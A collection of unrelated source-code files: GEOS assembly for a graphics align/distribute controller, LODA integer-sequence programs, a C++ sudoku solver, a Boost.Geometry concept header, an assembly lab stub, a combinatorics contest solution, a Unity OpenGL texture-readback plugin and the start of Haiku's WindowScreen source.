mov si, offset GrObjDistributeHeightItem
call GrObjControlUpdateUIBasedOnNumSelectedAndFeatureSet
clr dx
mov bx, ss:[bp].GCUUIP_childBlock
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov cx, GIGS_NONE ; select "none"
clr dx ; determinate
test ss:[bp].GCUUIP_features, mask GOADCF_ALIGN_LEFT or \
mask GOADCF_ALIGN_CENTER_HORIZONTALLY or \
mask GOADCF_ALIGN_RIGHT or \
mask GOADCF_ALIGN_WIDTH
jz afterAlignH
mov si, offset GrObjAlignHList
clr di
call ObjMessage
afterAlignH:
test ss:[bp].GCUUIP_features, mask GOADCF_ALIGN_TOP or \
mask GOADCF_ALIGN_CENTER_VERTICALLY or \
mask GOADCF_ALIGN_BOTTOM or \
mask GOADCF_ALIGN_HEIGHT
jz afterAlignV
mov si, offset GrObjAlignVList
clr di
call ObjMessage
afterAlignV:
test ss:[bp].GCUUIP_features, mask GOADCF_DISTRIBUTE_LEFT or \
mask GOADCF_DISTRIBUTE_CENTER_HORIZONTALLY or \
mask GOADCF_DISTRIBUTE_RIGHT or \
mask GOADCF_DISTRIBUTE_WIDTH
jz afterDistributeH
mov si, offset GrObjDistributeHList
clr di
call ObjMessage
afterDistributeH:
test ss:[bp].GCUUIP_features, mask GOADCF_DISTRIBUTE_TOP or \
mask GOADCF_DISTRIBUTE_CENTER_VERTICALLY or \
mask GOADCF_DISTRIBUTE_BOTTOM or \
mask GOADCF_DISTRIBUTE_HEIGHT
jz done
mov si, offset GrObjDistributeVList
clr di
call ObjMessage
done:
.leave
ret
GrObjAlignDistributeControlUpdateUI endm
GrObjUIControllerCode ends
GrObjUIControllerActionCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjAlignDistributeControlAlignApply
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Method for MSG_GOADC_ALIGN_APPLY
Called by:
Pass: *ds:si = GrObjAlignDistributeControl object
ds:di = GrObjAlignDistributeControl instance
Return: nothing
Destroyed: ax, bx, cx, dx, bp, di, si
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 24, 1992 Initial version.
Don 1/20/98 Split up align & distribute
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjAlignDistributeControlAlignApply method dynamic GrObjAlignDistributeControlClass, MSG_GOADC_ALIGN_APPLY
.enter
push si
call GetChildBlockAndFeatures
clr cl
test ax, mask GOADCF_ALIGN_LEFT or \
mask GOADCF_ALIGN_CENTER_HORIZONTALLY or \
mask GOADCF_ALIGN_RIGHT or \
mask GOADCF_ALIGN_WIDTH
jz checkVertical
push ax, cx
mov si, offset GrObjAlignHList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov_tr dx, ax
pop ax, cx
cmp dx, GIGS_NONE
je checkVertical
mov cl, dl
checkVertical:
test ax, mask GOADCF_ALIGN_TOP or \
mask GOADCF_ALIGN_CENTER_VERTICALLY or \
mask GOADCF_ALIGN_BOTTOM or \
mask GOADCF_ALIGN_HEIGHT
jz sendAlign
push ax, cx
mov si, offset GrObjAlignVList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov_tr dx, ax
pop ax, cx
cmp dx, GIGS_NONE
je sendAlign
or cl, dl
sendAlign:
pop si
mov ax, MSG_GB_ALIGN_SELECTED_GROBJS
call GrObjControlOutputActionRegsToBody
.leave
ret
GrObjAlignDistributeControlAlignApply endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjAlignDistributeControlDistributeApply
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Method for MSG_GOADC_DISTRIBUTE_APPLY
Called by:
Pass: *ds:si = GrObjAlignDistributeControl object
ds:di = GrObjAlignDistributeControl instance
Return: nothing
Destroyed: ax, bx, cx, dx, bp, di, si
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Feb 24, 1992 Initial version.
Don 1/20/98 Split up align & distribute
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjAlignDistributeControlDistributeApply method dynamic GrObjAlignDistributeControlClass, MSG_GOADC_DISTRIBUTE_APPLY
.enter
push si
call GetChildBlockAndFeatures
clr cl
test ax, mask GOADCF_DISTRIBUTE_LEFT or \
mask GOADCF_DISTRIBUTE_CENTER_HORIZONTALLY or \
mask GOADCF_DISTRIBUTE_RIGHT or \
mask GOADCF_DISTRIBUTE_WIDTH
jz checkVertical
push ax, cx
mov si, offset GrObjDistributeHList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov_tr dx, ax
pop ax, cx
cmp dx, GIGS_NONE
je checkVertical
mov cl, dl
checkVertical:
test ax, mask GOADCF_DISTRIBUTE_TOP or \
mask GOADCF_DISTRIBUTE_CENTER_VERTICALLY or \
mask GOADCF_DISTRIBUTE_BOTTOM or \
mask GOADCF_DISTRIBUTE_HEIGHT
jz sendAlign
push ax, cx
mov si, offset GrObjDistributeVList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
mov_tr dx, ax
pop ax, cx
cmp dx, GIGS_NONE
je sendAlign
or cl, dl
sendAlign:
pop si
mov ax, MSG_GB_ALIGN_SELECTED_GROBJS
call GrObjControlOutputActionRegsToBody
.leave
ret
GrObjAlignDistributeControlDistributeApply endp
GrObjUIControllerActionCode ends
|
; A093074: Greatest prime factor of n and its direct neighbors.
; 2,3,3,5,5,7,7,7,5,11,11,13,13,13,7,17,17,19,19,19,11,23,23,23,13,13,13,29,29,31,31,31,17,17,17,37,37,37,19,41,41,43,43,43,23,47,47,47,7,17,17,53,53,53,11,19,29,59,59,61,61,61,31,13,13,67,67,67,23,71,71,73,73,73,37,19,19,79,79,79,41,83,83,83,43,43,43,89,89,89,23,31,47,47,47,97,97,97,11,101
add $0,1
pow $0,2
bin $0,2
mov $1,2
mov $3,$0
mov $4,$0
lpb $3
mov $5,$4
lpb $5
mov $2,$0
div $0,$1
mod $2,$1
cmp $2,0
sub $5,$2
lpe
add $1,1
mov $2,$0
cmp $2,1
cmp $2,0
sub $3,$2
lpe
mov $0,$1
|
/*
Implementaion of the sudoku calculater.
*/
#include <array>
#include <cstdio>
#include <cstring>
#include "Sudoku.h"
using namespace std;
// Return Bool
bool END = false;
////////////////////////////////////////////////////////////////////////////////
// Show Help Info
////////////////////////////////////////////////////////////////////////////////
void Sudoku::showHelp() const
{
printf("Usage: \n\n");
printf(" Step 1: Run 'Sudoku init [sudokuFileName]' to create a new sudoku file. The default filename is 'Sudoku.txt'.\n\n");
printf(" Step 2: Modify then save the sudoku file.\n\n");
printf(" Step 3: Run 'Sudoku solve [sudokuFileName]' to solve the sudoku. The default filename is 'Sudoku.txt'.\n\n");
}
////////////////////////////////////////////////////////////////////////////////
// Init Sudoku File
////////////////////////////////////////////////////////////////////////////////
void Sudoku::initSudokuFile(const char *sudokuFileName) const
{
FILE *fo = fopen(sudokuFileName, "w");
fprintf(fo, "000 000 000\n000 000 000\n000 000 000\n\n000 000 000\n000 000 000\n000 000 000\n\n000 000 000\n000 000 000\n000 000 000\n");
fclose(fo);
}
////////////////////////////////////////////////////////////////////////////////
// Parse Sudoku File
////////////////////////////////////////////////////////////////////////////////
void Sudoku::parseSudokuFile(const char *sudokuFileName)
{
sudokuList = array<array<int, 9>, 9> {};
rowMark = array<array<int, 10>, 9> {};
colMark = array<array<int, 10>, 9> {};
fieldMark = array<array<int, 10>, 9> {};
FILE *f = fopen(sudokuFileName, "r");
int x = 0, y = 0, nowNum;
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
for (int k = 0; k < 3; k++)
{
for (int m = 0; m < 3; m++)
{
nowNum = fgetc(f) - '0';
if (nowNum)
{
markPoint(x, y, nowNum, 1);
}
y++;
}
fgetc(f);
}
x++;
y = 0;
}
fgetc(f);
}
fclose(f);
}
////////////////////////////////////////////////////////////////////////////////
// Judge A Point
////////////////////////////////////////////////////////////////////////////////
bool Sudoku::judgePoint(int x, int y, int nowNum) const
{
if (rowMark[x][nowNum] == 0 &&
colMark[y][nowNum] == 0 &&
fieldMark[COORD_TO_FIELD[x][y]][nowNum] == 0)
{
return true;
}
else
{
return false;
}
}
////////////////////////////////////////////////////////////////////////////////
// Mark A Point
////////////////////////////////////////////////////////////////////////////////
void Sudoku::markPoint(int x, int y, int nowNum, int flagNum)
{
if (flagNum == 0)
{
sudokuList[x][y] = 0;
}
else
{
sudokuList[x][y] = nowNum;
}
rowMark[x][nowNum] = flagNum;
colMark[y][nowNum] = flagNum;
fieldMark[COORD_TO_FIELD[x][y]][nowNum] = flagNum;
}
////////////////////////////////////////////////////////////////////////////////
// Solve A Point
////////////////////////////////////////////////////////////////////////////////
void Sudoku::solvePoint(int x, int y)
{
if (x == 9)
{
showSudoku();
END = true;
}
else if (y == 9)
{
solvePoint(x + 1, 0);
}
else if (sudokuList[x][y])
{
solvePoint(x, y + 1);
}
else
{
for (int nowNum = 1; nowNum <= 9; nowNum++)
{
if (judgePoint(x, y, nowNum))
{
markPoint(x, y, nowNum, 1);
solvePoint(x, y + 1);
if (END)
{
return;
}
markPoint(x, y, nowNum, 0);
}
}
}
}
////////////////////////////////////////////////////////////////////////////////
// Show Sudoku
////////////////////////////////////////////////////////////////////////////////
void Sudoku::showSudoku() const
{
for (int i = 0; i < 9; i++)
{
for (int j = 0; j < 8; j++)
{
printf("%d ", sudokuList[i][j]);
}
printf("%d\n", sudokuList[i][8]);
}
}
////////////////////////////////////////////////////////////////////////////////
// Solve Sudoku
////////////////////////////////////////////////////////////////////////////////
void Sudoku::solveSudoku()
{
solvePoint(0, 0);
}
////////////////////////////////////////////////////////////////////////////////
// Main Program Define
////////////////////////////////////////////////////////////////////////////////
int main(int argc, char **argv)
{
Sudoku s;
if (argc < 2)
{
s.showHelp();
}
else if (strcmp(argv[1], "init") == 0)
{
if (argc == 3)
{
s.initSudokuFile(argv[2]);
}
else
{
s.initSudokuFile();
}
}
else if (strcmp(argv[1], "solve") == 0)
{
if (argc == 3)
{
s.parseSudokuFile(argv[2]);
}
else
{
s.parseSudokuFile();
}
s.solveSudoku();
}
else
{
s.showHelp();
}
return 0;
} |
; A017106: a(n) = (8*n+3)^6.
; 729,1771561,47045881,387420489,1838265625,6321363049,17596287801,42180533641,90458382169,177978515625,326940373369,567869252041,941480149401,1500730351849,2313060765625,3462825991689,5053913144281,7212549413161,10090298369529,13867245015625,18755369578009,25002110044521,32894113444921,42761175875209,54980371265625,69980368892329,88245939632761,110322650964681,136821750708889,168425239515625,205891132094649,250058907189001,301855146292441,362299361110569,432510009765625,513710701744969
mul $0,8
add $0,3
pow $0,6
|
; A053428: a(n) = a(n-1) + 20*a(n-2), n >= 2; a(0)=1, a(1)=1.
; Submitted by Jon Maiga
; 1,1,21,41,461,1281,10501,36121,246141,968561,5891381,25262601,143090221,648342241,3510146661,16476991481,86679924701,416219754321,2149818248341,10474213334761,53470578301581,262954844996801,1332366411028421,6591463310964441,33238791531532861,165068057750821681,829843888381478901,4131205043397912521,20728082811027490541,103352183678985740961,517913839899535551781,2584957513479250371001,12943234311469961406621,64642384581054968826641,323507070810454196959061,1616354762431553573491881
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,20
mul $1,$2
lpe
mov $0,$3
|
// Boost.Geometry (aka GGL, Generic Geometry Library)
// Copyright (c) 2007-2012 Barend Gehrels, Amsterdam, the Netherlands.
// Copyright (c) 2008-2012 Bruno Lalande, Paris, France.
// Copyright (c) 2009-2012 Mateusz Loskot, London, UK.
// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library
// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.
// Use, modification and distribution is subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_GEOMETRY_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
#define BOOST_GEOMETRY_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
#include <boost/concept_check.hpp>
#include <boost/range/concepts.hpp>
#include <boost/range/metafunctions.hpp>
#include <boost/geometry/geometries/concepts/polygon_concept.hpp>
namespace geofeatures_boost {} namespace boost = geofeatures_boost; namespace geofeatures_boost { namespace geometry { namespace concept
{
/*!
\brief multi-polygon concept
\ingroup concepts
\par Formal definition:
The multi polygon concept is defined as following:
- there must be a specialization of traits::tag defining multi_polygon_tag
as type
- it must behave like a Boost.Range
- its range value must fulfil the Polygon concept
*/
template <typename Geometry>
class MultiPolygon
{
#ifndef DOXYGEN_NO_CONCEPT_MEMBERS
typedef typename geofeatures_boost::range_value<Geometry>::type polygon_type;
BOOST_CONCEPT_ASSERT( (concept::Polygon<polygon_type>) );
BOOST_CONCEPT_ASSERT( (geofeatures_boost::RandomAccessRangeConcept<Geometry>) );
public :
BOOST_CONCEPT_USAGE(MultiPolygon)
{
Geometry* mp = 0;
traits::clear<Geometry>::apply(*mp);
traits::resize<Geometry>::apply(*mp, 0);
polygon_type* poly = 0;
traits::push_back<Geometry>::apply(*mp, *poly);
}
#endif
};
/*!
\brief concept for multi-polygon (const version)
\ingroup const_concepts
*/
template <typename Geometry>
class ConstMultiPolygon
{
#ifndef DOXYGEN_NO_CONCEPT_MEMBERS
typedef typename geofeatures_boost::range_value<Geometry>::type polygon_type;
BOOST_CONCEPT_ASSERT( (concept::ConstPolygon<polygon_type>) );
BOOST_CONCEPT_ASSERT( (geofeatures_boost::RandomAccessRangeConcept<Geometry>) );
public :
BOOST_CONCEPT_USAGE(ConstMultiPolygon)
{
}
#endif
};
}}} // namespace geofeatures_boost::geometry::concept
#endif // BOOST_GEOMETRY_GEOMETRIES_CONCEPTS_MULTI_POLYGON_CONCEPT_HPP
|
; ECE 362 Lab 3 - Fall 2014 - Step 1
; Name: < enter name here >
; Lab: < enter lab division here >
; Class Number: < enter class number here >
; Use Code Warrior (CW) in Full Chip Simulation mode
;***********************************************************************
;
; Write a REENTRANT subroutine "findc" that counts the number of instances
; of a specified (ASCII) character in the string that is passed to it.
; Recall that a reentrant subroutine does not use any global variables
; (i.e., any local variables utilized should be allocated on the stack.
;
; At entry, the (ASCII) character to match along with the string to search
; is passed via the stack, as shown; assume the string terminates with the
; ASCII NULL character (the string can be any length up to 255 characters).
;
; At exit, the number of instances of the specified character is returned
; via the stack (as an unsigned 8-bit binary number) in place of the character
; that was matched (the string should be deallocated from the stack).
;
; At entry:
;
; +--------------------+
; SP ->| return address - H |
; +--------------------+
; | return address - L |
; +--------------------+
; | character to match |
; +--------------------+
; | string - firstchar |
; +--------------------+
; | char |
; +--------------------+
; | char |
; +--------------------+
; | string - lastchar |
; +--------------------+
; | ASCII NULL |
; +--------------------+
;
;
; Just prior to exit:
;
; +--------------------+
; SP ->| return address - H |
; +--------------------+
; | return address - L |
; +--------------------+
; | number of matches |
; +--------------------+
;
;***********************************************************************
;
; To test and auto-grade your solution:
; - Use CodeWarrior to assemble your code and launch the debugger
; - Load the Auto-Grader (L3AG-1.s19) into the debugger
; > Choose File -> Load Application
; > Change the file type to "Motorola S-Record (*.s*)"
; > Navigate to the 'AutoGrade' folder within your project
; > Open 'L3AG-1.s19'
; - Open and configure the SCI terminal as a debugger component
; - Start execution at location $800
;
; The score displayed is the number of test cases your code has passed.
; If nothing is displayed (i.e., your code "crashes"), no points will be
; awarded - note that there is no way to "protect" the application that
; tests your code from stack errors inflicted by mistakes in your code.
;
; Also note: If the message "STACK CREEP!" appears, it means that the
; stack has not been handled correctly (e.g., more pushes than pops or
; data passed to it not de-allocated correctly).
;
;***********************************************************************
org $A00 ; DO NOT REMOVE OR MODIFY THIS LINE
; Place your code for "findc" below
findc
rts
end
|
#include <bits/stdc++.h>
using namespace std;
#define sd(x) scanf("%d",&x)
#define su(x) scanf("%u",&x)
#define slld(x) scanf("%lld",&x)
#define sc(x) scanf("%c",&x)
#define ss(x) scanf("%s",x)
#define sf(x) scanf("%f",&x)
#define slf(x) scanf("%lf",&x)
#define ll long long int
#define mod(x,n) (x+n)%n
char S[200007];
ll Open[200007];
ll Close[200007];
ll Fact[200007];
ll InvFact[200007];
ll Mod = 1000000007;
map< pair<int,int> , ll > M;
ll Power(ll a,ll b)
{
if(b==0)
return 1;
ll x = Power(a,b/2);
if(b%2==0)
return (x*x)%Mod;
else
return (((x*x)%Mod)*a)%Mod;
}
ll NCR(ll n,ll r)
{
if(r>n)
return 0;
return ( ((Fact[n] * InvFact[r] )%Mod) * InvFact[n-r] )%Mod;
}
int main()
{
// freopen("input_file_name.in","r",stdin);
// freopen("output_file_name.out","w",stdout);
ll i,j,k,l,n,ans=0;
ss(S);
n = strlen(S);
Fact[0] = InvFact[0] = 1;
for(i=1;i<=n;i++)
{
Fact[i] = (i*Fact[i-1])%Mod;
InvFact[i] = (Power(i,Mod-2) * InvFact[i-1])%Mod;
}
for(i=0;i<n;i++)
{
if(S[i]=='(')
{
Open[i] = 1;
}
if(i!=0)
Open[i] += Open[i-1];
}
for(i=n-1;i>=0;i--)
{
if(S[i]==')')
{
Close[i] = 1;
}
if(i!=n-1)
Close[i] += Close[i+1];
}
for(i=0;i<n-1;i++)
{
ll p = 0;
if(S[i]=='(')
{
p = ( p + NCR(Close[i+1]+Open[i]-1,Open[i]) )%Mod;
}
ans = (ans + p) %Mod;
}
printf("%lld\n", ans );
return 0;
} |
; A164589: a(n) = ((4 + 3*sqrt(2))*(1 + 2*sqrt(2))^n + (4 - 3*sqrt(2))*(1 - 2*sqrt(2))^n)/8.
; Submitted by Jamie Morken(s2)
; 1,4,15,58,221,848,3243,12422,47545,182044,696903,2668114,10214549,39105896,149713635,573168542,2194332529,8400844852,32162017407,123129948778,471394019405,1804697680256,6909153496347,26451190754486,101266455983401,387691247248204,1484247686380215,5682334103497858,21754402011657221,83285142747799448,318851099577199443,1220698198388995022,4673354093818386145,17891595576359737444,68496669809448177903,262234508653414517914,1003945705972966281149,3843532972519834187696,14714685886850432343435
mov $1,3
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,8
add $3,$1
add $1,$2
lpe
mov $0,$3
|
#include <cstddef>
#include <map>
#include <mutex>
#include <memory>
#include <cstring>
#include "Unity/IUnityInterface.h"
#include "Unity/IUnityGraphics.h"
#include <iostream>
#include "TypeHelpers.hpp"
#define DEBUG 1
#ifdef DEBUG
#include <fstream>
#include <thread>
#endif
struct Task {
GLuint texture;
GLuint fbo;
GLuint pbo;
GLsync fence;
bool initialized = false;
bool error = false;
bool done = false;
void* data;
int miplevel;
int size;
int height;
int width;
int depth;
GLint internal_format;
};
static IUnityInterfaces* unity_interfaces = NULL;
static IUnityGraphics* graphics = NULL;
static UnityGfxRenderer renderer = kUnityGfxRendererNull;
static std::map<int,std::shared_ptr<Task>> tasks;
static std::mutex tasks_mutex;
int next_event_id = 1;
static void UNITY_INTERFACE_API OnGraphicsDeviceEvent(UnityGfxDeviceEventType eventType);
#ifdef DEBUG
std::ofstream logMain, logRender;
/**
* @brief Debug log function. Log to /tmp/AsyncGPUReadbackPlugin.log
*
* @param message
*/
void logToFile(std::string message) {
std::ofstream outfile;
outfile.open("/tmp/AsyncGPUReadbackPlugin_main.log", std::ios_base::app);
outfile << "GL CALLBACK: " << message << std::endl;
outfile.close();
}
/**
* OpenGL debug message callback
*/
void GLAPIENTRY DebugMessageCallback( GLenum source,
GLenum type,
GLuint id,
GLenum severity,
GLsizei length,
const GLchar* message,
const void* userParam)
{
if (type == GL_DEBUG_TYPE_ERROR) {
logRender << "GL CALLBACK: " << message << std::endl;
}
}
#endif
/**
* Unity plugin load event
*/
extern "C" void UNITY_INTERFACE_EXPORT UNITY_INTERFACE_API
UnityPluginLoad(IUnityInterfaces* unityInterfaces)
{
#ifdef DEBUG
logMain.open("/tmp/AsyncGPUReadbackPlugin_main.log", std::ios_base::app);
logRender.open("/tmp/AsyncGPUReadbackPlugin_render.log", std::ios_base::app);
glEnable ( GL_DEBUG_OUTPUT );
glDebugMessageCallback( DebugMessageCallback, 0 );
#endif
unityInterfaces = unityInterfaces;
graphics = unityInterfaces->Get<IUnityGraphics>();
graphics->RegisterDeviceEventCallback(OnGraphicsDeviceEvent);
// Run OnGraphicsDeviceEvent(initialize) manually on plugin load
// to not miss the event in case the graphics device is already initialized
OnGraphicsDeviceEvent(kUnityGfxDeviceEventInitialize);
}
/**
* Unity unload plugin event
*/
extern "C" void UNITY_INTERFACE_EXPORT UNITY_INTERFACE_API UnityPluginUnload()
{
graphics->UnregisterDeviceEventCallback(OnGraphicsDeviceEvent);
}
/**
* Called for every graphics device events
*/
static void UNITY_INTERFACE_API OnGraphicsDeviceEvent(UnityGfxDeviceEventType eventType)
{
// Create graphics API implementation upon initialization
if (eventType == kUnityGfxDeviceEventInitialize)
{
renderer = graphics->GetRenderer();
}
// Cleanup graphics API implementation upon shutdown
if (eventType == kUnityGfxDeviceEventShutdown)
{
renderer = kUnityGfxRendererNull;
}
}
/**
* Check if plugin is compatible with this system
* This plugin is only compatible with opengl core
*/
extern "C" bool isCompatible() {
return (renderer == kUnityGfxRendererOpenGLCore);
}
/**
* @brief Init of the make request action.
* You then have to call makeRequest_renderThread
* via GL.IssuePluginEvent with the returned event_id
*
* @param texture OpenGL texture id
* @return event_id to give to other functions and to IssuePluginEvent
*/
extern "C" int makeRequest_mainThread(GLuint texture, int miplevel) {
// Create the task
std::shared_ptr<Task> task = std::make_shared<Task>();
task->texture = texture;
task->miplevel = miplevel;
int event_id = next_event_id;
next_event_id++;
// Save it (lock because possible vector resize)
tasks_mutex.lock();
tasks[event_id] = task;
tasks_mutex.unlock();
return event_id;
}
/**
* @brief Create a a read texture request
* Has to be called by GL.IssuePluginEvent
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" void UNITY_INTERFACE_API makeRequest_renderThread(int event_id) {
// Get task back
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
tasks_mutex.unlock();
// Get texture informations
glBindTexture(GL_TEXTURE_2D, task->texture);
glGetTexLevelParameteriv(GL_TEXTURE_2D, task->miplevel, GL_TEXTURE_WIDTH, &(task->width));
glGetTexLevelParameteriv(GL_TEXTURE_2D, task->miplevel, GL_TEXTURE_HEIGHT, &(task->height));
glGetTexLevelParameteriv(GL_TEXTURE_2D, task->miplevel, GL_TEXTURE_DEPTH, &(task->depth));
glGetTexLevelParameteriv(GL_TEXTURE_2D, task->miplevel, GL_TEXTURE_INTERNAL_FORMAT, &(task->internal_format));
task->size = task->depth * task->width * task->height * getPixelSizeFromInternalFormat(task->internal_format);
// Check for errors
if (task->size == 0
|| getFormatFromInternalFormat(task->internal_format) == 0
|| getTypeFromInternalFormat(task->internal_format) == 0) {
task->error = true;
return;
}
// Allocate the final data buffer !!! WARNING: free, will have to be done on script side !!!!
task->data = std::malloc(task->size);
// Create the fbo (frame buffer object) from the given texture
task->fbo;
glGenFramebuffers(1, &(task->fbo));
// Bind the texture to the fbo
glBindFramebuffer(GL_FRAMEBUFFER, task->fbo);
glFramebufferTexture(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, task->texture, 0);
// Create and bind pbo (pixel buffer object) to fbo
task->pbo;
glGenBuffers(1, &(task->pbo));
glBindBuffer(GL_PIXEL_PACK_BUFFER, task->pbo);
glBufferData(GL_PIXEL_PACK_BUFFER, task->size, 0, GL_DYNAMIC_READ);
// Start the read request
glReadBuffer(GL_COLOR_ATTACHMENT0);
glReadPixels(0, 0, task->width, task->height, getFormatFromInternalFormat(task->internal_format), getTypeFromInternalFormat(task->internal_format), 0);
// Unbind buffers
glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);
glBindFramebuffer(GL_FRAMEBUFFER, 0);
// Fence to know when it's ready
task->fence = glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0);
// Done init
task->initialized = true;
}
extern "C" UnityRenderingEvent UNITY_INTERFACE_EXPORT UNITY_INTERFACE_API getfunction_makeRequest_renderThread() {
return makeRequest_renderThread;
}
/**
* @brief check if data is ready
* Has to be called by GL.IssuePluginEvent
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" void UNITY_INTERFACE_API update_renderThread(int event_id) {
// Get task back
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
tasks_mutex.unlock();
// Check if task has not been already deleted by main thread
if(task == nullptr) {
return;
}
// Do something only if initialized (thread safety)
if (!task->initialized || task->done) {
return;
}
// Check fence state
GLint status = 0;
GLsizei length = 0;
glGetSynciv(task->fence, GL_SYNC_STATUS, sizeof(GLint), &length, &status);
if (length <= 0) {
task->error = true;
task->done = true;
return;
}
// When it's done
if (status == GL_SIGNALED) {
// Bind back the pbo
glBindBuffer(GL_PIXEL_PACK_BUFFER, task->pbo);
// Map the buffer and copy it to data
void* ptr = glMapBufferRange(GL_PIXEL_PACK_BUFFER, 0, task->size, GL_MAP_READ_BIT);
std::memcpy(task->data, ptr, task->size);
// Unmap and unbind
glUnmapBuffer(GL_PIXEL_PACK_BUFFER);
glBindBuffer(GL_PIXEL_PACK_BUFFER, 0);
// Clear buffers
glDeleteFramebuffers(1, &(task->fbo));
glDeleteBuffers(1, &(task->pbo));
glDeleteSync(task->fence);
// yeah task is done!
task->done = true;
}
}
extern "C" UnityRenderingEvent UNITY_INTERFACE_EXPORT UNITY_INTERFACE_API getfunction_update_renderThread() {
return update_renderThread;
}
/**
* @brief Get data from the main thread
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" void getData_mainThread(int event_id, void** buffer, size_t* length) {
// Get task back
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
tasks_mutex.unlock();
// Do something only if initialized (thread safety)
if (!task->done) {
return;
}
// Copy the pointer. Warning: free will have to be done on script side
*length = task->size;
*buffer = task->data;
}
/**
* @brief Check if request is done
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" bool isRequestDone(int event_id) {
// Get task back
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
tasks_mutex.unlock();
return task->done;
}
/**
* @brief Check if request is in error
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" bool isRequestError(int event_id) {
// Get task back
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
tasks_mutex.unlock();
return task->error;
}
/**
* @brief clear data for a frame
* Warning : Buffer is never cleaned, it has to be cleaned from script side
* Has to be called by GL.IssuePluginEvent
* @param event_id containing the the task index, given by makeRequest_mainThread
*/
extern "C" void dispose(int event_id) {
// Remove from tasks
tasks_mutex.lock();
std::shared_ptr<Task> task = tasks[event_id];
std::free(task->data);
tasks.erase(event_id);
tasks_mutex.unlock();
} |
/*
* Copyright 2002-2009, Haiku. All Rights Reserved.
* Copyright 2002-2005,
* Marcus Overhagen,
* Stefano Ceccherini (stefano.ceccherini@gmail.com),
* Carwyn Jones (turok2@currantbun.com)
* All rights reserved.
*
* Distributed under the terms of the MIT License.
*/
#include <WindowScreen.h>
#include <new>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <Application.h>
#include <Screen.h>
#include <String.h>
#include <AppServerLink.h>
#include <input_globals.h>
#include <InputServerTypes.h>
#include <InterfacePrivate.h>
#include <ServerProtocol.h>
#include <WindowPrivate.h>
using BPrivate::AppServerLink;
//#define TRACE_WINDOWSCREEN 1
#if TRACE_WINDOWSCREEN
# define CALLED() printf("%s\n", __PRETTY_FUNCTION__);
#else
# define CALLED() ;
#endif
// Acceleration hooks pointers
static fill_rectangle sFillRectHook;
static screen_to_screen_blit sBlitRectHook;
static screen_to_screen_transparent_blit sTransparentBlitHook;
static screen_to_screen_scaled_filtered_blit sScaledFilteredBlitHook;
static wait_engine_idle sWaitIdleHook;
static acquire_engine sAcquireEngineHook;
static release_engine sReleaseEngineHook;
static engine_token *sEngineToken;
// Helper methods which translates the pre r5 graphics methods to r5 ones
static int32
card_sync()
{
sWaitIdleHook();
return 0;
}
static int32
blit(int32 sx, int32 sy, int32 dx, int32 dy, int32 width, int32 height)
{
blit_params param;
param.src_left = sx;
param.src_top = sy;
param.dest_left = dx;
param.dest_top = dy;
param.width = width;
param.height = height;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, NULL, &sEngineToken);
sBlitRectHook(sEngineToken, ¶m, 1);
sReleaseEngineHook(sEngineToken, NULL);
return 0;
}
// TODO: This function seems not to be exported through CardHookAt().
// At least, nothing I've tried uses it.
#if 0
static int32
transparent_blit(int32 sx, int32 sy, int32 dx, int32 dy, int32 width,
int32 height, uint32 transparent_color)
{
blit_params param;
param.src_left = sx;
param.src_top = sy;
param.dest_left = dx;
param.dest_top = dy;
param.width = width;
param.height = height;
sAcquireEngineHook(B_2D_ACCELERATION, 0xff, 0, &sEngineToken);
sTransparentBlitHook(sEngineToken, transparent_color, ¶m, 1);
sReleaseEngineHook(sEngineToken, 0);
return 0;
}
#endif
static int32
